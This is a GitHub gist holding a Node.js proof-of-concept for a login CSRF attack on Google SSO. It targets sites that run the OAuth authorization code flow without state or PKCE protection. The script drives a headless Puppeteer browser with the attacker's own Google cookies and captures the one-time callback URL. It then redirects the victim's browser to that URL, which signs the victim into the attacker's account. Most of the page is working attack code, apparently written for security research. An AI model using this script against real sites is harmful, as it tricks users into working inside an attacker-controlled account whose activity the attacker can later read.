Created
May 9, 2023 08:22
-
-
Save lauritzh/90d68c0b68652882648e0ca9b8b6683e to your computer and use it in GitHub Desktop.
OAuth 2.0 / OpenID Connect 1.0 SSO Login CSRF PoC. Authenticates a victim user into an attacker-controlled account at example.com. Requires the target to insecurely implement a Google SSO login using the Authorization Code Grant Type and without any CSRF protection ("state", PKCE).
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// Headless SSO Login CSRF PoC | |
// (c) Lauritz Holtmann, 2023 | |
// | |
const pt = require('puppeteer') | |
const express = require('express') | |
const app = express() | |
const port = 3000 | |
app.get('/', (req, res) => { | |
res.send('Lauritz') | |
}) | |
app.get('/poc', async (req, res) => { | |
console.log("Starting PoC"); | |
// TODO: Replace with your own cookies (browse accounts.google.com and copy cookies from developer console) | |
const cookies = [ | |
{name: 'SID', value: 'Uw[...]', domain: 'accounts.google.com'}, | |
{name: '__Secure-3PSID', value: 'Uw[...]', domain: 'accounts.google.com', secure: true}, | |
{name: 'LSID', value: 'o.mail.google.com|o.myaccount.google.com|o.play.google.com|s.DE:[...]', domain: 'accounts.google.com'}, | |
]; | |
// Init: Start the browser | |
const browser = await pt.launch({headless: true}); | |
const page = await browser.newPage(); | |
await page.setCookie(...cookies); | |
await page.setRequestInterception(true); | |
// Intercept the redirect to the callback URL -> The "code" parameter can only be used once | |
// Therefore, we need to intercept the redirect and return it to the client (i.e. the victim browser) | |
page.on("request", async request => { | |
if(request.url().startsWith("https://example.com/callback")) { | |
console.log("Redirected to: " + request.url()); | |
request.abort(); | |
// CSRF: Respond with a redirect to the callback URL => Victim user is authenticated using the attacker account | |
res.redirect(request.url()); | |
return; | |
} | |
request.continue(); | |
}); | |
// Start the SSO Login Flow: The following URL results in a SSO flow being initiated | |
console.log("Navigate to URL"); | |
await page.goto('https://example.com/login/google'); | |
await page.waitForNavigation({waitUntil: 'networkidle0'}); | |
await browser.close(); | |
console.log("Done"); | |
}); | |
app.listen(port, () => { | |
console.log(`Example app listening on port ${port}`); | |
}) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment